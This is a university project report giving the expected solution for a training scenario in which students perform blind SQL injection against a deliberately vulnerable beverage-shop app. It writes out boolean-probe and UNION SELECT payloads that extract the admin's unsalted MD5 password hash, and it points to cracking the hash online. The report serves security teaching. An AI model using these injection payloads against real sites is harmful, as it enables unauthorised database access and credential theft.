PSI-CAD-Project Report SoSe 2019

Alexander Böhner (1937944)
mailto:alexander.boehner@stud.uni-bamberg.de

Melanie Vogel (1738258)
mailto:melanie-margot.vogel@stud.uni-bamberg.de

September 30, 2019

Contents

List of Figures

1 Expected Approaches

1.1 BottleNet/SQL Injection (Blind)

This scenario covers the topic of Blind SQL Injections and is separated into two tasks where the first task shall prepare the attacker for the *real* attack in the second task.

1.1.1 Warm Up

This task should help to gain some understanding of general SQL attacks and the difference between blind SQL and error-based SQL injection.

Task

Find out which type of SQL injection attack we use here.

Expected Approach

1. Go to the shopping page and checkout the search field.
2. Insert a query with a condition that is evaluated to **true** such as the following statements

   ```
   Club Mate' AND '%' = '
   ```

3. Insert a query with a condition that is evaluated to **false** such as

   ```
   Club Mate' AND 'n%' = '
   ```

4. Observe that in case of a true statement the searched item is displayed. In case of a false statement nothing is displayed. Alternatively observe the response from **/searchBeverages**. You can view entries when the query is evaluated to true, and an empty array if the query is evaluated to false.
5. Conclude it is a Blind SQL injection because no error page is displayed and the empty response object is empty.

1.1.2 Password Hack

After the warm-up task, this task aims to implement an effective SQL injection to read from the database.

Task

The goal of this task is to access the admins password which is stored as a not-salted MD5 hash in the database.

Expected Approach

1. From the previous task you know that the search field is vulnerable.
2. The table name where the user information of the admin must be guessed (users) or accessed by other SQL mechanisms, which is harder in this specific task.
3. Find out the id of the admin user by querying for it. There are only three users in the database so no binary search is required. This simple query can help to find users with username 'admin'.

```
mate' AND (SELECT count(*) FROM USERS WHERE USERNAME = 'admin')
↪  >= 1 OR '%' = '
```

4. Insert a query such as

```
mate' UNION SELECT 1,password,1,1 FROM users WHERE USERNAME =
↪  'admin' OR '%' = '

or via URL:

http://ip:port/searchBeverage/?q=mate'  UNION SELECT
↪  1,password,1,1 FROM USERS WHERE USERNAME = 'admin' OR '%' =
↪  '
```

   to combine results of the usual beverage query with the admin-user query. The columnsnames can either be guessed or queried.
5. View the password in the response. It is displayed as the *name* attribute of the beverage.
6. Decrypt the MD5 hash. The stored password hash is

   `e8636ea013e682faf61f56ce1cb1ab5c`

   Because it is not salted a public decoder as can be found online[1] should be sufficient. Otherwise download password lists and build up own table.

[1] https://www.md5online.org/md5-decrypt.html